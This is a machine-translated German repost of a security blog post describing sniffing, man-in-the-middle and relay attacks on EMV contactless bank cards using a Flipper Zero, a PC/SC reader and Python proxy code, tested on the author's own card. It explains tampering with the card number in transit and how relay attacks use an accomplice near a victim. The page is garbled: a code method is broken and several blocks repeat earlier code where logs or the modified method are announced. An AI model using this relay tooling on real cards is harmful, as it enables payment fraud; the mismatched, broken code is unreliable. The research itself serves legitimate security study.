Heim >Backend-Entwicklung >Python-Tutorial >Flipper Zero NFC-Hacking – EMV-Banking, Man-in-the-Middle- und Relay-Angriffe

Flipper Zero NFC-Hacking – EMV-Banking, Man-in-the-Middle- und Relay-Angriffe

Linda Hamilton
Linda HamiltonOriginal
2024-12-23 06:32:48158Durchsuche

In unserem vorherigen Beitrag haben wir untersucht, wie der Flipper sowohl als kontaktloser NFC-Kartenleser als auch als NFC-Kartenemulator fungieren kann. Wenn wir diese beiden Funktionalitäten kombinieren, ergeben sich eine Reihe potenzieller Angriffsszenarien auf Kartenlesetransaktionen:

  • Ist es möglich, die Kommunikation auszuspionieren?, also die zwischen zwei Geräten ausgetauschten Daten abzufangen und zu überwachen, ohne sie zu verändern
  • Kann ein Man-in-the-Middle-Angriff (MitM) durchgeführt werden? Konkret: Könnten wir die Kommunikation zwischen der Karte und dem Lesegerät abfangen und ändern, indem wir Daten in Echtzeit einschleusen oder ändern?
  • Ist meine Karte anfällig für einen Relay-Angriff?Ein Angreifer, der sich in der Nähe der Karte befindet, kommuniziert mit ihr und leitet die Befehle/Antworten an einen Komplizen in der Nähe des Lesegeräts weiter, was dazu führt, dass das Lesegerät dazu verleitet wird, eine Transaktion so zu verarbeiten, als ob Die Karte war vorhanden. Dies ermöglicht unautorisierte Transaktionen, auch wenn sich die Karte überhaupt nicht in der Nähe des Terminals befindet.

In diesem Beitrag gehen wir ausführlich auf diese drei Fragen ein.

1- Was wollen wir erreichen?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Das obige Diagramm (hier in höherer Qualität verfügbar) veranschaulicht den Aufbau, den wir zum Testen der verschiedenen zuvor beschriebenen Angriffe einrichten möchten.

  1. Es gibt Ein Telefon mit einer Anwendung, die Daten von einer Bankkarte auslesen soll.
  2. Das Telefon kommuniziert mit dem Flipper Zero, der im Kartenemulationsmodus arbeitet.
  3. Der Flipper Zero ist mit einem PC verbunden, der die empfangenen Befehle an einen daran angeschlossenen PC/SC-Leser weiterleitet.
  4. Der PC/SC-Leser sendet die Befehle an die echte Bankkarte.
  5. Die echte Karte verarbeitet die Befehle und antwortet, wobei die Antworten auf dem gleichen Weg zurückgesendet werden: über den PC/SC-Leser, den PC und schließlich zum Telefon.
  6. In der Zwischenzeit fängt unser Python-Skript, das auf dem PC ausgeführt wird, diese Befehle und Antworten ab und ermöglicht so Änderungen an den Daten während der Übertragung in Echtzeit.

Zuvor haben wir die gesamte Datenverarbeitungslogik auf ein Python-Skript verlagert, das außerhalb des Flippers ausgeführt wird. Durch diesen Ansatz entfällt die Notwendigkeit, die Firmware zu aktualisieren oder neue Firmware hochzuladen, wann immer wir Änderungen vornehmen möchten. Es stellt sich jedoch die Frage: Wird dieser Python-Proxy eine Latenz verursachen, die die Kommunikation stören und zum Scheitern führen könnte?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Bevor wir diese Frage beantworten, werfen wir einen Blick auf die Python-Skripte, die wir zum Einrichten dieser Konfiguration verwenden werden.

2 – Vorbereitung von Python-Skripten

Im vorherigen Blogbeitrag haben wir die beiden Hauptkomponenten dieses Setups behandelt:

  • Emulieren einer Karte mit einem Flipper Zero.
  • Verwendung eines PC/SC-Lesegeräts zur Kommunikation mit einer Karte.

Jetzt geht es einfach darum, beides miteinander zu verbinden. Worüber genau reden wir?

  • Wenn der Flipper ein Feld erkennt, muss das Lesegerät die Karte einschalten.
  • Wenn der Flipper umgekehrt erkennt, dass das Feld ausgeschaltet wurde, muss das Lesegerät die Stromversorgung der Karte unterbrechen.
  • Der Flipper ist für die Verwaltung der TPDU-Kommunikation verantwortlich. Dies liegt daran, dass ein PC/SC-Leser nur Befehle auf TPDU-Ebene verarbeitet:
    • Sobald der Flipper eine vollständige APDU erhält, sendet er diese an den Leser.
    • Der Leser leitet den Befehl an die eigentliche Karte weiter und gibt die Antwort der Karte dann zurück an den Flipper.
    • Der Flipper verarbeitet diese Antwort und überträgt sie im TPDU-Format.

Diese Anforderungen an den Reader führten zur Erstellung der abstrakten Reader-Klasse, die unten beschrieben wird. Darüber hinaus haben wir eine Methode eingeführt, um eine Verbindung zum Leser herzustellen.

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

Als nächstes erstellen wir unten eine minimalistische PCSCReader-Klasse, um mit einem PC/SC-Reader zu interagieren.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

Jetzt können wir mit der Implementierung des Kartenemulators, Emu genannt, fortfahren, wie unten gezeigt. Es akzeptiert ein optionales Reader-Objekt als Parameter. Sofern vorhanden, stellt es eine Verbindung mit dem Lesegerät her.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

Als nächstes definieren wir drei Methoden, um dem Leser Ereignisse mitzuteilen: Ausschalten des Feldes, Einschalten des Feldes und Senden einer APDU.

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)

Als nächstes haben wir die Methode verbessert, die für die Verwaltung der Befehlskommunikation des Kartenemulators auf TPDU-Ebene verantwortlich ist. Insbesondere wenn ein vollständiger APDU-Befehl empfangen wird, wird die Methode „process_apdu“ aufgerufen, um ihn an den Leser weiterzuleiten und die Antwort von der eigentlichen Karte abzurufen.

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)

Schließlich implementieren wir die Methode, mit der die Kartenemulation vom Flipper Zero aus gestartet wird.

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()

Die Python-Skripte sind fertig; Werfen wir nun einen Blick auf das Hardware-Setup, mit dem wir sie testen werden.

3 – Experiment in unserer Garage durchgeführt

Unten finden Sie unsere kleine Nachbildung einer Angriffsumgebung. Von links nach rechts haben wir:

  • Ein Android-Telefon, auf dem eine Anwendung zum Lesen von NFC-Bankkarten ausgeführt wird. In unserem Fall handelt es sich um den NFC-EMV-Reader (erhältlich bei GitHub – NFC-EMV-Reader). Obwohl es etwas veraltet ist, funktioniert es perfekt für Demonstrationszwecke. Dieses Gerät simuliert ein Terminal, das versucht, mit einer NFC-Karte zu kommunizieren. Es ist mit keinem anderen Gerät verbunden.
  • Der Flipper Zero, der als NFC-Kartenemulator fungiert. Es ist an einen Computer angeschlossen (im Bild nicht sichtbar).
  • Der PC/SC-Leser, ebenfalls an den Computer angeschlossen.
  • Die tatsächliche NFC-Bankkarte, die die tatsächliche Karte darstellt, auf die in diesem Setup abgezielt wird.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Perfekt, wir haben jetzt alle notwendigen Komponenten, um die Angriffe durchzuführen! Lasst uns kämpfen!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

4 – Kommunikationsschnüffeln

Wir können zunächst versuchen, zu schnüffeln, was bedeutet, dass die APDU-Befehle/Antworten vom Flipper ohne Änderungen an die Karte weitergeleitet werden.

Das funktioniert einwandfrei und bleibt stabil, wobei der Python-Code als Vermittler keine spürbaren Auswirkungen hat! Wenn der Python-Proxy zu viel Latenz verursacht und das Terminal anfängt zu jammern, dass die Karte zu langsam sei, haben wir eine Lösung dafür. Etwas, zu dessen Umsetzung ich (noch) nicht gekommen bin:

  • Es handelt sich um einen TPDU-Befehl namens Wait-Time Extension (WTX).
  • Die Karte sendet diesen Befehl, wenn sie zusätzliche Zeit benötigt, um einen ressourcenintensiven Vorgang, wie z. B. Kryptografie, auszuführen.
  • Das Lesegerät interpretiert dies als Signal, dass die Karte noch verarbeitet wird, und das Terminal antwortet mit einer Bestätigung.
  • Theoretisch kann die Karte so viele WTX-Befehle senden, wie sie möchte.

Unten finden Sie einen Auszug aus einem Protokoll.

  • Die Karte wurde eingeschaltet (Feld aus/Feld ein)
  • Das Terminal versucht, die Kartenanwendung mithilfe eines APDU-SELECT-Befehls auszuwählen: 00a4040007d276000085010100. Hier lautet die Anwendungskennung (allgemein als AID bezeichnet) d2760000850101. Bei der Durchsicht der Liste der Karten-AIDs in der umfassenden AID-Datenbank von EFTLab stellen wir fest, dass diese AID einer deutschen NDEF-Tag-Anwendung entspricht, die auf einem NXP-Chip implementiert ist.
  • Diese Anwendung ist nicht auf der Karte vorhanden, daher antwortet die Karte mit dem Zwei-Byte-Statuswort 6A82 und zeigt damit an, dass sie die angeforderte Anwendung nicht erkennt.
class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

Tatsächlich können auf einer Karte Hunderte verschiedener Anwendungen installiert sein, jede mit ihrer eigenen, einzigartigen AID. Ein Terminal versucht nicht, sie alle einzeln auszuprobieren. Aus diesem Grund gibt es im Bereich des kontaktlosen Bankings auf allen Karten eine spezielle Anwendung, die darauf hinweist, welche Bankanwendungen auf der Karte verfügbar sind. Seine AID ist 325041592e5359532e4444463031, was in ASCII als 2PAY.SYS.DDF01 übersetzt wird.

Später in der Kommunikation können wir sehen, wie diese Anwendung aufgerufen wird (wie unten gezeigt). Daher erscheint die bisherige Auswahl der Anwendung mit AID D2760000850101, wie zuvor besprochen, ungewöhnlich.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

Beim Parsen der Antwort können Sie sehen, dass sie (neben anderen Details) auf das Vorhandensein einer Anwendung mit der AID A0000000041010 hinweist, die MasterCard entspricht.

Somit wählt das Telefon schließlich diese Anwendung aus.

Anschließend werden verschiedene Details von der Karte abgerufen, einschließlich der primären Kontonummer (PAN). Die auf der Karte angezeigte Nummer stimmt mit der auf dem Terminal angezeigten überein, was bestätigt, dass unser Relay-Angriff, der auf einfachem Schnüffeln beruht, erfolgreich war!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Natürlich machen Tools wie Proxmark das Schnüffeln viel einfacher, aber warum sollte man es einfach machen, wenn man es auch kompliziert machen kann ;) ?

5 – Mann in der Mitte

Kommen wir nun zum Man-in-the-Middle-Angriff. Das bedeutet, dass wir der Kommunikation nicht nur zuhören, sondern sie aktiv verändern. Ein interessanter Anwendungsfall könnte die Änderung der Kartennummer sein, beispielsweise die Änderung von 5132 in 6132.

Wenn wir auf die Protokolle unserer vorherigen Kommunikation zurückgreifen, können wir sehen, dass diese Daten im Klartext übertragen werden. Sie werden mit READ RECORD-Befehlen wie 00B2010C00 und 00B2011400 von der Karte abgerufen.

Da die Daten unverschlüsselt sind und keinen Integritätsschutz haben, können wir sie nach Wunsch ändern. Um dies zu implementieren, aktualisieren wir einfach die Methode „process_apdu“ in unserer Klasse „PCSCReader“, um die Änderung zu verarbeiten.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

Und wie im Bild unten gezeigt, ist sich die Anwendung der Änderung überhaupt nicht bewusst!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Warum es funktioniert? Die Antwort finden Sie im Bild unten, das die verschiedenen Kommunikationsebenen beschreibt:

  • Im unteren Bereich übernimmt die zugrunde liegende Technologie ISO-14443 die Kommunikation auf der physikalischen Ebene. Der Flipper Zero tauscht die Daten gemäß dieser Spezifikation aus.
  • Dann haben wir die TPDUs. Der Datenaustausch erfolgt in TPDUs, die nur aus Gründen der Integrität durch einen öffentlichen CRC geschützt sind. Schließlich haben wir die APDU-Schicht, die aus den Befehlen und Antworten der Kartenanwendung besteht. Es gibt drei mögliche Schutzstufen:
    1. Kein Schutz: Befehle und Antworten unterliegen weder Integritäts- noch Vertraulichkeitsgarantien. Dies ist in unserem Setup der Fall, wodurch es sehr einfach ist, die Kommunikation zu ändern.
    2. Teilweise Verschlüsselung: Entweder der Befehl oder die Antwort ist teilweise verschlüsselt. Dies zeigt sich in einigen NFC-Banking-Befehlen, in denen ein Kryptogramm enthalten ist, um die Authentizität der Kommunikation zu überprüfen.
    3. Vollständige Verschlüsselung: Sowohl der Befehl als auch die Antwort sind vollständig verschlüsselt und bieten vollständigen Schutz. Dies ist jedoch bei EMV-Karten nicht implementiert.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Wir können auch Spaß haben ... Da ich die Änderungen hastig vorgenommen habe, habe ich die Daten gelegentlich zufällig geändert. In einem Fall, wie im Bild unten gezeigt, führte dies dazu, dass die Anwendung einen riesigen Zeichenblock für die Kartennummer anzeigte, obwohl diese eigentlich auf 16 Ziffern begrenzt sein sollte!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Dies eröffnet einige interessante Möglichkeiten für Fuzzing-Experimente.

6 – Staffelangriff

Wie zu Beginn dieses Blogbeitrags erwähnt, besteht ein Relay-Angriff darin, die Kommunikation zwischen zwei Parteien (z. B. einer NFC-Karte und einem Terminal) abzufangen und weiterzuleiten, ohne sie zu verändern, wodurch das Terminal zu der Annahme verleitet wird, dass es mit der legitimen Person kommuniziert Karte in Echtzeit.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Ein Hacker möchte eine Zahlung am Terminal vornehmen. Er leitet die Kommunikation des Terminals an einen Komplizen in der Nähe eines Opfers weiter, der dann ohne sein Wissen mit der Karte des Opfers kommuniziert.

Das vorherige Experiment hat gezeigt, dass dieser Angriff in einer kontrollierten Umgebung, wie einer Garage, möglich ist. In realen Szenarien sind jedoch zusätzliche Herausforderungen zu berücksichtigen.

  • Enge Nähe erforderlich: Angreifer müssen in der Nähe der Karte bleiben. Während der Corona-Krise war es mit der Einhaltung der sozialen Distanz natürlich super praktisch.
  • Komplizen am POS: Eine zweite Person wird in der Nähe des Terminals benötigt.
  • Geringe Latenz und zuverlässige Kommunikation: Verzögerungen bei der Weiterleitung von Signalen können zu Fehlern führen und zuverlässige Kommunikation ist entscheidend für den Erfolg. Um diesen Herausforderungen zu begegnen, kann eine andere Angriffsart eingesetzt werden: der Replay-Angriff.
    • Der Angreifer kommuniziert mit dem Opfer Karte, als wären sie das legitime Terminal, und zeichnet die Antwort der Karte auf.
    • Der Angreifer spielt dann die aufgezeichnete Antwort auf dem Terminal ab.
    • Während die Verwendung von Zufallsdaten in den Befehlen des Terminals Replay-Angriffe verhindern kann, ist die Zufälligkeit manchmal weniger robust, als es scheint. Die Untersuchung dieser Sicherheitslücke würde jedoch den Rahmen dieses Blogs sprengen.

Eine der wichtigsten Gegenmaßnahmen gegen Relay-Angriffe ist die Messung des Timings der Kommunikation, da das Relay spürbare Verzögerungen verursacht. Das ältere EMV-Protokoll enthält jedoch keine Befehle zur Erleichterung solcher Zeitprüfungen.

Abschluss

Wir sind am Ende dieses Blogbeitrags angelangt. Ich hoffe, Ihnen hat der Inhalt gefallen! Der Python-Code und die modifizierte Flipper Zero-Firmware sind auf meinem GitHub verfügbar.

https://github.com/gvinet/pynfreader
https://github.com/gvinet/flipperzero-firmware

Das obige ist der detaillierte Inhalt vonFlipper Zero NFC-Hacking – EMV-Banking, Man-in-the-Middle- und Relay-Angriffe. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn